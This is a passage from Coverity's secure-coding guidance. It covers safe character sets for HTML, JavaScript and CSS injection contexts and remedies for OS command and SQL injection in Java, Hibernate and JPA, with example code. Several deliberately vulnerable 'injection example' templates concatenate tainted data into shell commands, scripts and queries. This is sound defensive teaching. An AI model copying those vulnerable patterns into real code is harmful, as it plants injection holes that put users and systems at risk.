Ideal safety obligations preclude inserting the following characters through only filtering or validating. Technically, these contexts do not have an escaping mechanism. These characters could close or change the context.
Form feed (U+000C)
Carriage return (U+000D)
Asterisk (*, U+002A)
Forward slash (solidus, /, U+002F)
Line separator (U+2028)
Paragraph separator (U+2029)
Minimal safety obligations preclude inserting tainted data into this context.
ECMA 262 defines the ECMAScript language
, of which JavaScript is a
dialect.
![]() | |
This context includes some parent context. |
Injection example:
<span id="test" onclick="TAINTED_DATA_HERE">…
The parent context is the HTML double-quoted attribute (see Section 7.4.6, “HTML: Double quoted attribute”). The onclick DOM event executes the attribute value as JavaScript.
Ideal safety obligations include only inserting the characters below. No escaping is possible for this context.
0-9 (U+0030 to U+0039)
A-Z (U+0041 to U+005A)
a-z (U+0061 to U+007A)
Because of the complexity of this context, there are no minimal safety obligations. Rather, the context should be avoided. If it is required to dynamically insert tainted values within this context, only allow a predefined list of values or append filtered characters to known, safe prefixes.
ECMA 262 defines the ECMAScript language
, of which JavaScript is a dialect. The
standard defines regular expression (regexp) syntax in section 7.8.5 (of the ECMA PDF
file).
Injection example:
var isReturn = "blogReturn".match(/TAINTED_DATA_HERE/);
Ideal safety obligations preclude inserting the following characters through JavaScript backslash or Unicode escaping:
Back space (U+0008)
Tab (U+0009)
Line feed (U+000A)
Vertical tab (U+000B)
Form feed (U+000C)
Carriage return (U+000D)
Forward-slash (solidus, /, U+002F)
Backslash (\, U+005C)
Exclamation mark (!, U+0021)
Dollar sign ($, U+0024)
Left parentheses ((, U+0028)
Right parentheses (), U+0029)
Asterisk (*, U+002A)
Plus sign (+, U+002B)
Minus sign (-, U+002D)
Period (., U+002E)
Question mark (?, U+003F)
Left square bracket ([, U+005B)
Right square bracket (], U+005D)
Caret (^, U+005E)
Left curly bracket ({, U+007B)
Vertical line (|, U+007C)
Right curly bracket (}, U+007D)
Line separator (U+2028): Unicode escaping only.
Paragraph separator (U+2029): Unicode escaping only.
Because of the complexity of this context, there are no minimal safety obligations. The ideal obligations should be followed.
Coverity offers Section 7.4.25, “Coverity sanitizers” an escaping library for JavaScript regular expressions that meets the ideal safety obligations.
CSS Level 2, Revision 1 is defined here (http://www.w3.org/TR/CSS2/
).
<style>
TAINTED_DATA_HERE
…
</style>The parent context is the HTML raw text (see Section 7.4.1, “HTML: Raw text block”) context with CSS as the child context.
Ideal safety obligations include only inserting the characters below. No escaping is possible for this context. These characters could change or close the context.
0-9 (U+0030 to U+0039)
A-Z (U+0041 to U+005A)
a-z (U+0061 to U+007A)
Because of the complexity of this context, there are no minimal safety obligations. Rather, the context should be avoided. If it is required to dynamically insert tainted values within this context, only allow a predefined list of values or append filtered characters to known, safe prefixes.
CSS Level 2, Revision 1 (CSS 2.1) defines single-quoted
(', U+0027) and double-quoted (",
U+0022) strings
. These strings are also used within a URL quoted context
and have the same obligations within that context.
Injection example:
span[id="TAINTED_DATA_HERE"] {
background-color:#ff00ff;
}Ideal safety obligations preclude inserting the following characters, either though escaping with backslash or Unicode escaping.
Null (U+0000): Cannot be backslash escaped. Can be Unicode
escaped, filtered, or validated.
Tab (U+0009)
Line feed (U+000A): Cannot be backslash escaped. Can be
Unicode escaped, filtered, or validated.
Form feed (U+000C): Cannot be backslash escaped. Can be
Unicode escaped, filtered, or validated.
Carriage return (U+000D): Cannot be backslash escaped. Can be
Unicode escaped, filtered, or validated.
Space (U+0020)
Double-quote (", U+0022)
Single-quote (', U+0027)
Left parentheses ( (, U+0028)
Right parentheses ( ), U+0029)
Backslash (\, U+005C)
Minimal safety obligations preclude inserting a matching quote, backslash, and line formatting characters by Unicode escaping. CSS 2.1 does not define what occurs if a style sheet contains a null.
Coverity has released Section 7.4.25, “Coverity sanitizers”, an escaping library for CSS strings that meets the ideal safety obligations.
See information on CSS Level 2, Revision 1 (CSS 2.1) in Section 7.4.18.1, “CSS double-quoted string”.
See information on CSS Level 2, Revision 1 (CSS 2.1) in Section 7.4.18.1, “CSS double-quoted string”.
See information on CSS Level 2, Revision 1 (CSS 2.1) in Section 7.4.18.1, “CSS double-quoted string”.
CSS Level 2, Revision 1 (CSS 2.1) defines a URL context
.
A URL can contain a double-quoted, single-quoted, or unquoted value. This context
defines an unquoted value.
Injection example:
body { background: url(TAINTED_DATA_HERE) }Ideal safety obligations preclude inserting the following characters, either though escaping with backslash or Unicode escaping.
Null (U+0000): Cannot be backslash escaped. Can be Unicode
escaped, filtered, or validated.
Tab (U+0009)
Line feed (U+000A): Cannot be backslash escaped. Can be Unicode
escaped, filtered, or validated.
Form feed (U+000C): Cannot be backslash escaped. Can be Unicode
escaped, filtered, or validated.
Carriage return (U+000D): Cannot be backslash escaped. Can be
Unicode escaped, filtered, or validated.
Space (U+0020)
Double-quote (", U+0022
Single-quote (', U+0027)
Left parentheses ((, U+0028)
Right parentheses (), U+0029)
Backslash (\, U+005C)
Rather, the context should be avoided and refactored with double-quotes around the URL; for example:
body { background: url("TAINTED_DATA_HERE") }You should follow the guidance for Section 7.4.18.3, “CSS: Double-quoted URI”. Single-quote context is not recommended because many URI encoders do not encode the single-quote when in a query.
CSS Level 2, Revision 1 (CSS 2.1) defines http://www.w3.org/TR/CSS2/syndata.html#comments
) the syntax
for CSS comments.
Injection example:
p.noclass {
background-color:#c0ffee;
} /*TAINTED_DATA_HERE*/
Ideal safety obligations preclude inserting the asterisk (*, U+002A) and forward-slash
(/, U+002F) characters, either though filtering; or validation. No escaping
is allowed for this context since a backslash is not recognized as an escaping
character.
Minimal safety obligations preclude inserting tainted data into this context.
In HTML, many contexts can be nested within another context. Common upper or parent contexts are HTML raw text (see Section 7.4.1, “HTML: Raw text block”) and HTML script (see Section 7.4.2, “HTML: Script block”). Common lower or children (sometimes grandchildren) contexts are URIs and JavaScript strings.
In SQL, contexts are generally flat, without nesting.
Safety obligations for nested contexts start at the most descendant context, up to the
last, ancestral context. Sometimes through escaping appropriate for its context, a
descendant or child context also meets the safety obligations for a parent or ancestor
context. Common examples are JavaScript string escapers (see Section 7.4.12, “JavaScript: Double quoted string”). They often escape the forward-slash (/,
U+002F) character, which does not have a safety obligation for the
JavaScript context. However, a common parent context for JavaScript strings is the HTML
script (see Section 7.4.2, “HTML: Script block” context. When the child escapes the
forward-slash using a backslash (\, U+005C), it separates the
sequence </ into <\/, meeting the parent safety
obligation.
Injection example (into a nested context):
<span id="blogComment" onmouseover="doMouseOver('blogComment', 'TAINTED_DATA_HERE');">
View blog comment
</span>The ancestral context is the onmouseover HTML double-quoted attribute
(see Section 7.4.6, “HTML: Double quoted attribute”). The onmouseover attribute is a
browser DOM event that executes its value as JavaScript. In this example, the JavaScript
function doMouseOver is called with two single-quoted string parameters
(see Section 7.4.13, “JavaScript: Single quoted string”), one of which is tainted. To meet the security
obligations, the tainted data needs to be sanitized for the JavaScript single-quoted
context. Then the resultant value needs to be sanitized for the HTML double-quoted
attribute context. Only then will the tainted data be sufficiently sanitized for all
contexts. If sanitization happens in an incorrect order, the original defect might
continue to exist.
An ambiguous ampersand occurs when an ampersand is used in a character reference, but
that character reference is not a standard or recognized reference
.
HTML5 defines the space characters
as follows:
tab (U+0009)
line feed (U+000A)
form feed (U+000C)
carriage return (U+000D)
space (U+0020)
HTML5 defines the following (control or undefined Unicode characters
).
Control Characters:
U+0001 to U+0008
U+000B
U+000E to U+001F
U+007F to U+009F
Undefined (noncharacters) Unicode Characters:
U+FDD0 to U+FDEF
U+FFFE, U+FFFF, U+1FFFE,
U+1FFFF, U+2FFFE, U+2FFFF,
U+3FFFE, U+3FFFF, U+4FFFE,
U+4FFFF, U+5FFFE, U+5FFFF,
U+6FFFE, U+6FFFF, U+7FFFE,
U+7FFFF, U+8FFFE, U+8FFFF,
U+9FFFE, U+9FFFF, U+AFFFE,
U+AFFFF, U+BFFFE, U+BFFFF,
U+CFFFE, U+CFFFF, U+DFFFE,
U+DFFFF, U+EFFFE, U+EFFFF,
U+FFFFE, U+FFFFF, U+10FFFE,
U+10FFFF
On GitHub (see Section 7.1.7, “Coverity Sanitizers Library”), Coverity provides C# and Java open-sourced sanitizers for the following contexts:
HTML elements: See Section 7.4.4, “HTML: PCDATA block”.
HTML attribute values: See Section 7.4.6, “HTML: Double quoted attribute”.
JavaScript Strings: See Section 7.4.12, “JavaScript: Double quoted string”.
JavaScript regular expression: See Section 7.4.17, “JavaScript: Regular expression'”.
CSS strings: See Section 7.4.18.1, “CSS double-quoted string”.
SQL LIKE strings: See Section 7.3.6, “SQL LIKE string”.
The name of an OS command or executable in this code is partially comprised of tainted data. The severity of this issue can be minor to moderate because it is limited to commands that continue to work with the current switches.
Injection example:
String command = TAINTED_DATA_HERE
+ " -c -f output.txt";General filtering or escaping of the tainted data might be insufficient because other legitimate, although potentially unauthorized, command names could be chosen. Take the following actions to improve the security of such code:
If needed, use the following array or list version of the Oracle Java API:
(java.lang.Runtime.exec(String[])
) or (java.lang.ProcessBuilder
).
Define constant values for all potential command names.
Map these values as indirect references, exposing only the index to the user.
Select the constant value based on the index value provided by the user.
Pass the selected value to the API.
Examples that provide remediation advice and code for specific technologies:
Runtime.exec: See Section 7.6.3.1, “OS Command Injection Command Tainted: Runtime.exec”.
ProcessBuilder: See Section 7.6.3.2, “OS Command Injection Command Tainted: ProcessBuilder”.
This code passes a name, options, and option strings to an OS command or executable that is fully comprised of tainted data. The severity of this issue is extremely high because it implies full control by the attacker.
Injection example:
String command = TAINTED_DATA_HERE;General filtering or escaping of the tainted data is insufficient due to the complexity of different command sub-contexts. Take the following actions to improve the security of such code:
If needed, use the following array or list version of the Oracle Java API:
(java.lang.Runtime.exec(String[])
) or (java.lang.ProcessBuilder
).
Define constant string values for all potential command names, options, and option strings.
Map these values as indirect references, exposing only the index to the user.
Select the constant value based on the index value provided by the user.
Pass the selected value to the API.
Examples that provide remediation advice and code for specific technologies:
Runtime.exec: See Section 7.6.3.3, “OS Command Injection Command Fully Tainted: Runtime.exec”.
ProcessBuilder: See Section 7.6.3.4, “OS Command Injection Command Fully Tainted: ProcessBuilder”.
This code allows the attacker to control a parameter to an OS shell. The severity of this issue can be minor to extremely high. Though in some cases it might not provide the attacker with any control, in others it might provide the attacker total control to execute arbitrary commands on the server.
Injection example:
String command = {"/bin/bash", "-c", "ls "
+ TAINTED_DATA_HERE};Due to the complexity of shell sub-contexts, sanitizing the tainted data might be insufficient. Take the following actions to improve the security of such code:
If needed, use the following array or list version of the Oracle Java API:
(java.lang.Runtime.exec(String[])
) or (java.lang.ProcessBuilder
).
Define constant string values for all potential option names or option string values.
Map these values as indirect references, exposing only the index to the user.
Select the constant value based on the index value provided by the user.
Pass the selected value to the API.
Have a security or system expert review the final command.
Examples that provide remediation advice and code for specific technologies:
Runtime.exec: See Section 7.6.3.7, “OS Command Injection Option: Runtime.exec”.
ProcessBuilder: See Section 7.6.3.8, “OS Command Injection Option: ProcessBuilder”.
This code allows the attacker to control a parameter to an OS command that can be manipulated into performing dangerous actions. The severity of this issue can be minor to extremely high. Though in some cases it might not provide the attacker with any control, in others it might provide the attacker total control to execute arbitrary commands on the server.
Injection example:
String command = "/usr/bin/find . -name + TAINTED_DATA_HERE;While sanitizing the tainted data might be sufficient to remove specific command line options, you should make sure that the sanitization cannot be bypassed. Due to the risk of incorrectly sanitizing the tainted data, you should take the following actions:
If needed, use the following array or list version of the Oracle Java API:
(java.lang.Runtime.exec(String[])
) or (java.lang.ProcessBuilder
).
Define constant string values for all potential option names or option string values.
Map these values as indirect references, exposing only the index to the user.
Select the constant value based on the index value provided by the user.
Pass the selected value to the API.
Have a security or system expert review the final command.
Examples that provide remediation advice and code for specific technologies:
Runtime.exec: See Section 7.6.3.5, “OS Command Injection Unsafe: Runtime.exec”.
ProcessBuilder: See Section 7.6.3.6, “OS Command Injection Unsafe: ProcessBuilder”.
This code concatenates or passes tainted data into a command. The name of the OS command is unknown. The severity of this issue can be minor to extremely high. If the command is not known to have unsafe side effects, the severity is minor. If the command can have unsafe side effects, the severity is as dangerous as the side effects.
Injection example:
String command = "somecommand.exe /F "
+ TAINTED_DATA_HERE;Sanitizing the tainted data might be sufficient if it is performed correctly. However, it is important to understand nuances of the command. Take the following actions to improve the security of such code:
Verify if the OS command is unsafe or not. See Section 7.5.3, “Unsafe Shell Argument OS Command” and Section 7.5.4, “Unsafe Other Argument OS Command”.
If needed, use the following array or list version of the Oracle Java API:
(java.lang.Runtime.exec(String[])
) or (java.lang.ProcessBuilder
).
If possible, define constant string values for all potential option names or option string values. Map these values as indirect references, exposing only the key or index to the user. Select the constant value based on the tainted value provided by the user. If valid, use the constant value in the command.
If dynamic tainted data is required for the command, sanitize the tainted data by casting to a safe type such as an integer, if possible.
If dynamic tainted string data is required for the command, safely sanitize the data so that it cannot change the intent of the command, especially for unsafe commands.
Pass the command to the API.
Have a security or system expert review the final command.
Examples that provide remediation advice and code for specific technologies:
Runtime.exec: See Section 7.6.3.7, “OS Command Injection Option: Runtime.exec”.
ProcessBuilder: See Section 7.6.3.8, “OS Command Injection Option: ProcessBuilder”.
This code passes tainted data to an API that can execute OS commands or processes. However, the context of the tainted data or the type of command this is being executed is unknown. The severity of this issue can be minor to extremely high. If the command is not known to have unsafe side effects, the severity is minor. If the command can have unsafe side effects, the severity is as dangerous as the side effects.
Examine the command, and refer to the guidance in one of these sections:
The following example uses indirect references through a HashMap to
add SQL identifiers that are used by the application.
5 class Constants {
6 public static final Map<String, String> knownGoodValues = null;
7 static {
8 knownGoodValues = initializeSql();
9 }
10 private static Map<String, String> initializeSql() {
11 Map<String, String> m = new HashMap<String, String>();
12 m.put("ASC", "ASC");
13 m.put("FETCH10", "FETCH FIRST 10 ROWS ONLY");
14 //...
15 return Collections.unmodifiableMap(m);
[…]23 public List<Order> getAllOrders(final String userInput) { […] 80 String untainted = Constants.knownGoodValues.get(userInput); 81 if (untainted != null) { 82 try { 83 String paramQuery = "SELECT * FROM table " + untainted; 84 PreparedStatement prepStmt = connection.prepareStatement(paramQuery); 85 prepStmt.executeQuery(); […] 91 } else { 92 // log event as potential security tampering... […]
Progression of the security issue:
Constants.java (10): A list of
common SQL statement fragments are added to the HashMap.
SomeDAO.java (23): A tainted
value, userInput, is passed into the method.
SomeDAO.java (80): A tainted
value is checked against the map.
SomeDAO.java (83): If the user
provides a value such as FETCH10, the value is concatenated to
the SQL statement. If the user supplies an invalid value, the application
can log it as suspicious or perform some other action.
The following example uses indirect references through a HashMap to
add SQL identifiers that are used by the application.
5 class Constants {
6 public static final Map<String, String> knownGoodValues = null;
7 static {
8 knownGoodValues = initializeSql();
9 }
10 private static Map<String, String> initializeSql() {
11 Map<String, String> m = new HashMap<String, String>();
12 m.put("ASC", "ASC");
13 m.put("DESC", "DESC");
14 //...
15 return Collections.unmodifiableMap(m);
[…]23 public List<Order> getAllOrders(final String userInput) { […] 80 String untainted = Constants.knownGoodValues.get(userInput); 81 if (untainted != null) { 82 try { 83 Query query = sess.createQuery("from Orders orders order by orders.item " + untainted); […] 91 } else { 92 // log event as potential security tampering... […]
Progression of the security issue:
Constants.java (10): A list of
common SQL statement fragments are added to the HashMap.
SomeDAO.java (23): A tainted
value, userInput, is passed into the method.
SomeDAO.java (80): The tainted
value is checked against the map.
SomeDAO.java (83): If the user
provides a value such as ASC, the value is concatenated to the
SQL statement. If the user supplies an invalid value, the application can
log it as suspicious or perform some other action.
The following example uses indirect references through a HashMap to
add SQL identifiers that are used by the application.
Constants.java:
5 class Constants {
6 public static final Map<String, String knownGoodValues = null;
7 static {
8 knownGoodValues = initializeSql();
9 }
10 private static Map<String, String> initializeSql() {
11 Map<String, String> m = new HashMap<String, String>();
12 m.put("ASC", "ASC");
13 m.put("DESC", "DESC");
14 //...
15 return Collections.unmodifiableMap(m);
[…]23 public List<Order> getAllOrders(final String userInput) { […] 80 String untainted = Constants.knownGoodValues.get(userInput); 81 if (untainted != null) { 82 try { 83 String paramQuery = "SELECT * FROM table " + untainted; 84 PreparedStatement prepStmt = connection.prepareStatement(paramQuery); 85 prepStmt.executeQuery(); […] 91 } else { 92 // log event as potential security tampering... […]
Progression of the security issue:
Constants.java (10): A list of
common SQL statement fragments are added to the HashMap.
SomeDAO.java (23): A tainted
value, userInput, is passed into the method.
SomeDAO.java (80): The tainted
value is checked against the map.
SomeDAO.java (83): If the user
provides a value such as ASC, the value is concatenated to the
SQL statement. If the user supplies an invalid value, the application can
log it as suspicious or perform some other action.
The following example uses indirect references through a HashMap to
add SQL identifiers that are used by the application.
5 class Constants {
6 public static final Map<String, String> knownGoodValues = null;
7 static {
8 knownGoodValues = initializeSql();
9 }
10 private static Map<String, String> initializeSql() {
11 Map<String, String> m = new HashMap<String, String>();
12 m.put("ASC", "ASC");
13 m.put("DESC", "DESC");
14 //...
15 return Collections.unmodifiableMap(m);
[…]23 public List<Order> getAllOrders(final String userInput) { […] 80 String untainted = Constants.knownGoodValues.get(userInput); 81 if (untainted != null) { 82 try { 83 Query query = entityManager.createQuery("SELECT o FROM Orders o ORDER BY o.item " + untainted); […] 91 } else { 92 // log event as potential security tampering... […]
Progression of the security issue:
Constants.java (10): A list of
common SQL statement fragments are added to the HashMap.
SomeDAO.java (23): A tainted
value, userInput, is passed into the method.
SomeDAO.java (80): The tainted
value is checked against the map.
SomeDAO.java (83): If the user
provides a value such as ASC, the value is concatenated to the
SQL statement. If the user supplies an invalid value, the application can
log it as suspicious or perform some other action.
The following example uses indirect references through a HashMap to
add SQL identifiers that are used by the application.
5 class Constants {
6 public static final Map<String, String> knownGoodValues = null;
7 static {
8 knownGoodValues = initializeSql();
9 }
10 private static Map<String, String> initializeSql() {
11 Map<String, String> m = new HashMap<String, String>();
12 m.put("ASC", "ASC");
13 m.put("DESC", "DESC");
14 //...
15 return Collections.unmodifiableMap(m);
[…]23 public List<Order> getAllOrders(final String userInput) { […] 80 String untainted = Constants.knownGoodValues.get(userInput); 81 if (untainted != null) { 82 Query query = entityManager.createNativeQuery("SELECT * FROM table ORDER BY user " + untainted); […] 91 } else { 92 // log event as potential security tampering... […]
Progression of the security issue:
Constants.java (10): A list of
common SQL statement fragments are added to the HashMap.
SomeDAO.java (23): A tainted
value, userInput, is passed into the method.
SomeDAO.java (80): The tainted
value is checked against the map.
SomeDAO.java (82): If the user
provides a value such as ASC, the value is concatenated to the
SQL statement. If the user supplies an invalid value, the application can
log it as suspicious or perform some other action.
The following example uses a helper method to generate a SQL fragment, based on some list. The fragment is then concatenated into the SQL statement.
SQLUtils.java
11 public static String generateSqlInFragmentJdbc(List<String> taintedList) { 12 int listlen = taintedList.size(); 13 if (listlen < 1) 14 return ""; 15 StringBuilder params = new StringBuilder(taintedList.size()*2); 16 params.append("?"); 17 for (int i=0; i < listlen - 1; i++) { 18 params.append(",?"); 19 } 20 21 return params.toString(); 22 }
17 public List<Order> getOrdersFrom(final String userInput) { […] 32 ArrayList<String> taintedList = new ArrayList<String>(); 33 taintedList.add(userInput); 58 String paramQuery = "SELECT * FROM table WHERE column IN (" Utils.generateSqlInFragmentJdbc(taintedList) +")"; 59 try { 60 PreparedStatement prepStmt = connection.prepareStatement(paramQuery); 61 for (ListIterator<String> id = taintedList.listIterator(); id.hasNext(); ) { 62 prepStmt.setString(id.nextIndex() + 1, id.next()); 63 } 64 prepStmt.executeQuery();
Progression of the security issue:
SQLUtils.java (11): This
function accepts a List. It creates a StringBuffer
comprised of the pattern ?,?,…? for each member of the List.
SomeDAO.java (17): A tainted
value, userInput, is passed into the method.
SomeDAO.java (32-33): An
ArrayList is populated with tainted data.
SomeDAO.java (58): The tainted
list is passed to the helper function, concatenating the returned fragment
to the SQL statement.
SomeDAO.java (61-62): The
tainted list is iterated upon, with the index (JDBC positional parameters
start at 1) and value passed into the setString()
method.
The following example directly binds a list of tainted data to a named parameter.
17 public List<Order> getOrdersFrom(final String userInput) { […] 32 ArrayList<String> taintedList = new ArrayList<String>(); 33 taintedList.add(userInput); […] 59 try { 60 Query query = sess.createQuery("from Person person where person.name in (:state)"); 61 query.setParameter("state", taintedList);
Progression of the security issue:
The following example uses a helper method to generate a SQL fragment, based on some list. The fragment is then concatenated into the SQL statement.
SQLUtils.java
11 public static String generateSqlInFragmentHibernate(List<String> taintedList) { 12 StringBuilder params = new StringBuilder(taintedList.size()*2); 13 for (int i=0; i < taintedList.size(); i++) { 14 params.append("?"); 15 if (i < taintedList.size() - 1) 16 params.append(","); 17 } 18 19 return params.toString(); 20 }
17 public List<Order> getOrdersFrom(final String userInput) { […] 32 ArrayList<String> taintedList = new ArrayList<String>(); 33 taintedList.add(userInput); […] 58 String paramQuery = "SELECT * FROM table WHERE column IN (" + SQLUtils.generateSqlInFragmentHibernate(taintedList) +")"; 59 try { 60 SQLQuery query = sess.createSQLQuery(paramQuery); 61 for (ListIterator<String> id = taintedList.listIterator(); id.hasNext(); ) { 62 query.setParameter(id.nextIndex(), id.next()); 63 }
Progression of the security issue:
SQLUtils.java (11): This
function accepts a List. It creates a StringBuffer
comprised of the pattern ?,?,…?", for each member of the
List.
SomeDAO.java (17): A tainted
value, userInput, is passed into the method.
SomeDAO.java (32-33): An
ArrayList is populated with tainted data.
SomeDAO.java (58): The tainted
list is passed to the helper function, concatenating the returned fragment
to the SQL statement.
SomeDAO.java (61-62): The
tainted list is iterated upon, with the index (Hibernate positional
parameters start at 0) and value passed into the
setParameter() method.
The following example directly binds a list of tainted data to a named parameter.
17 public List<Order> getOrdersFrom(final String userInput) { […] 32 ArrayList<String> taintedList = new ArrayList<String>(); 33 taintedList.add(userInput); […] 59 try { 60 Query query = entityManager.createQuery("SELECT p FROM Person p WHERE p.name IN (:state)"); 61 query.setParameter("state", taintedList);
Progression of the security issue:
The following example uses a helper method to generate a SQL fragment, based on some list. The fragment is then concatenated into the SQL statement.
SQLUtils.java
11 public static String generateSqlInFragmentJpa(List<String> taintedList) { 12 StringBuilder params = new StringBuilder(taintedList.size()*4); 13 for (int i=0; i < taintedList.size(); i++) { 14 params.append("?" + Integer.toString(i + 1)); 15 if (i < taintedList.size() - 1) 16 params.append(","); 17 } 18 19 return params.toString(); 20 }
17 public List<Order> getOrdersFrom(final String userInput) { […] 32 ArrayList<String> taintedList = new ArrayList<String>(); 33 taintedList.add(userInput); […] 58 String paramQuery = "SELECT * FROM table WHERE column IN (" + SQLUtils.generateSqlInFragmentJpa(taintedList) +")"; 59 try { 60 Query query = entityManager.createNativeQuery(paramQuery); 61 for (ListIterator<String> id = taintedList.listIterator(); id.hasNext(); ) { 62 query.setParameter(id.nextIndex() + 1, id.next()); 63 }
Progression of the security issue:
SQLUtils.java (11): This
function accepts a List. It creates a StringBuffer
comprised of the pattern ?1,?2,…? for each member of the
List. JPA positional parameters require a digit after the
question mark, starting at 1.
SomeDAO.java (17): A tainted
value, userInput, is passed into the method.
SomeDAO.java (32-33): An
ArrayList is populated with tainted data.
SomeDAO.java (58): The tainted
list is passed to the helper function, concatenating the returned fragment
to the SQL statement.
SomeDAO.java (61-62): The
tainted list is iterated upon, with the index (JPA positional parameters
start at 1) and value passed into the
setParameter() method.
The following example uses a parameterized statement to bind tainted data to a parameter within the statement.
73 public List<Order> getOrdersByName(final String userInput) { […] 83 String paramQuery = "SELECT * FROM table WHERE name = ?"; 84 PreparedStatement prepStmt = connection.prepareStatement(paramQuery); 85 prepStmt.setString(1, userInput); 86 prepStmt.executeQuery();
Progression of the security issue:
The following example uses a parameterized statement to bind tainted data to a parameter within the statement.
73 public List<Person> getPeopleByState(final String userInput) { […] 83 Query query = sess.createQuery("from Person person where person.state = :state"); 84 query.setParameter("state", userInput); […]
Progression of the security issue:
The following example uses a parameterized statement to bind tainted data to a parameter within the statement.
73 public List<Order> getOrdersByName(final String userInput) { 81 82 try { 83 SQLQuery query = sess.createSQLQuery("SELECT * FROM table WHERE column = ?"); 84 query.setParameter(0, userInput); […]
Progression of the security issue:
The following example uses a parameterized statement to bind tainted data to a parameter within the statement.
73 public List<Person> getPeopleByState(final String userInput) { 81 82 try { 83 Query query = entityManager.createQuery("SELECT p FROM Person p WHERE p.state = :state"; 84 query.setParameter("state", userInput); […]
Progression of the security issue:
The following example uses a parameterized statement to bind tainted data to a parameter within the statement.
73 public List<Person> getPeopleByState(final String userInput) { 81 82 try { 83 Query query = entityManager.createNativeQuery("SELECT * FROM table WHERE column = ?1"); 84 query.setParameter(1, userInput); […]
Progression of the security issue:
The following example uses a parameterized statement, uses a Coverity escaper to
escape the string that is bound to the SQL LIKE clause, and then binds
the value to the parameter within the statement.
5 import com.coverity.security.Escape; […] 73 public List<Person> getPeopleLike(final String userInput) { […] 84 likeEscapedTainted = Escape.sqlLikeClause(userInput, '@'); 85 String paramQuery = "SELECT * FROM table WHERE column LIKE ? {escape '@'}"; 86 PreparedStatement prepStmt = connection.prepareStatement(paramQuery); 87 prepStmt.setString(1, likeEscapedTainted); 88 prepStmt.executeQuery(); […]
Progression of the security issue:
SomeDAO.java (5): The Coverity
escaping library (see Section 7.4.25, “Coverity sanitizers”) is imported.
SomeDAO.java (73): A tainted
value, userInput, is passed into the method.
SomeDAO.java (84): The
Escape.sqlLikeClause() method escapes the percent-sign
(%, U+0025) and underscore (_,
U+005F) from the tainted value, using the at sign
(@, U+0040). While any character can be used,
the backslash (\, U+005C) should be avoided. Note
that this escaper does not prevent SQL injection defects. It preserves the
meaning of the LIKE query by only escaping characters with
special meaning in a LIKE clause.
SomeDAO.java (85): The statement
has been parameterized. Also, the escape keyword is used, which
notifies JDBC that % and _ values within the
string are considered escaped when they are prefixed with an @
(for example, @_).
SomeDAO.java (87): The tainted
value is bound to a positional parameter within the statement, which is
escaped automatically by the JDBC driver. JDBC positional parameters start
at 1.
The following example uses a parameterized statement, uses a Coverity escaper to
escape the string that is bound to the SQL LIKE clause, and then binds
the value to the parameter within the statement.
5 import com.coverity.security.Escape; […] 73 public List<Person> getPeopleLike(final String userInput) { […] 84 likeEscapedTainted = Escape.sqlLikeClause(userInput, '@'); 85 Query query = sess.createQuery("from Person person where person.state like :state escape '@'"); 86 query.setParameter("state", likeEscapedTainted); […]
Progression of the security issue:
SomeDAO.java (5): The Coverity
escaping library (see Section 7.4.25, “Coverity sanitizers”) is imported.
SomeDAO.java (73): A tainted
value, userInput, is passed into the method.
SomeDAO.java (84): The
Escape.sqlLikeClause() method escapes the percent-sign
(%, U+0025) and underscore (_,
U+005F) from the tainted value, using the at sign
(@, U+0040). While any character can be used,
the backslash (\, U+005C) should be avoided. Note
that this escaper does not prevent SQL injection defects. It preserves the
meaning of the LIKE query by only escaping characters with
special meaning in a LIKE clause.
SomeDAO.java (85): The statement
has been parameterized. In addition, the escape keyword is
used, notifying Hibernate (version 3 and above) that % and
_ values within the string are considered escaped if
prefixed with an @ (for example, @_).
SomeDAO.java (86): The tainted
value is bound to a named parameter within the statement, which is escaped
automatically.
The following example uses a parameterized statement, uses a Coverity escaper to
escape the string that is bound to the SQL LIKE clause, and then binds
the value to the parameter within the statement.
5 import com.coverity.security.Escape; […] 73 public List<Person> getPeopleLike(final String userInput) { […] 84 likeEscapedTainted = Escape.sqlLikeClause(userInput, '@'); 85 SQLQuery query = sess.createSQLQuery("SELECT * from person where person.state like ? escape '@'"); 86 query.setParameter(0, likeEscapedTainted); […]
Progression of the security issue:
SomeDAO.java (5): The Coverity
escaping library (see Section 7.4.25, “Coverity sanitizers”) is
imported.
SomeDAO.java (73): A tainted
value, userInput, is passed into the method.
SomeDAO.java (84): The
Escape.sqlLikeClause() method escapes the percent-sign
(%, U+0025) and underscore (_,
U+005F) from the tainted value, using the at sign
(@, U+0040). While any character can be used,
the backslash (\, U+005C) should be avoided. Note
that this escaper does not prevent SQL injection defects. It preserves the
meaning of the LIKE query by only escaping characters with
special meaning in a LIKE clause.
SomeDAO.java (85): The statement
has been parameterized. In addition, the escape keyword is used
to notify Hibernate (version 3 and above) that % and
_ values within the string are considered escaped if
prefixed with an @ (for example, @_).
SomeDAO.java (86): The tainted
value is bound to a positional parameter within the statement, which is
escaped automatically. Hibernate positional parameters start at
0.
The following example uses a parameterized statement, uses a Coverity escaper to
escape the string bound to the SQL LIKE clause, and then binds the
value to the parameter within the statement.
5 import com.coverity.security.Escape; 73 public List<Person> getPeopleLike(final String userInput) { […] 84 likeEscapedTainted = Escape.sqlLikeClause(userInput, '@'); 85 Query query = sess.createQuery("from Person person where person.state like :state escape '@'"; 86 query.setParameter("state", likeEscapedTainted); […]
Progression of the security issue:
SomeDAO.java (5): The Coverity
escaping library (see Section 7.4.25, “Coverity sanitizers” is imported.
SomeDAO.java (73): A tainted
value, userInput, is passed into the method.
SomeDAO.java (84): The
Escape.sqlLikeClause() method escapes the percent-sign
(%, U+0025) and underscore (_,
U+005F) from the tainted value, using the at sign
(@, U+0040). While any character can be used,
the backslash (\, U+005C) should be avoided. Note
that this escaper does not prevent SQL injection defects. It preserves the
meaning of the LIKE query by only escaping characters with
special meaning in a LIKE clause.
SomeDAO.java (85): The statement
has been parameterized. In addition, the escape keyword is used
to notify Hibernate (version 3 and above) that % and
_ values within the string are considered escaped if
prefixed with an @ (for example, @_).
SomeDAO.java (86): The tainted
value is bound to a positional parameter within the statement, which is
escaped automatically. Hibernate positional parameters start at
0.
The following example uses a parameterized statement, uses a Coverity escaper to
escape the string that is bound to the SQL LIKE clause, and then binds
the value to the parameter within the statement.
5 import com.coverity.security.Escape; […] 73 public List<People> getPeopleLike(final String userInput) { […] 84 likeEscapedTainted = Escape.sqlLikeClause(userInput, '@'); 85 Query query = entityManager.createNativeQuery("SELECT * FROM person WHERE person.state LIKE ?1 escape '@'"; 86 query.setParameter(1, likeEscapedTainted); […]
Progression of the security issue:
SomeDAO.java (5): The Coverity
escaping library (see Section 7.4.25, “Coverity sanitizers”) is imported.
SomeDAO.java (73): A tainted
value, userInput, is passed into the method.
SomeDAO.java (84): The
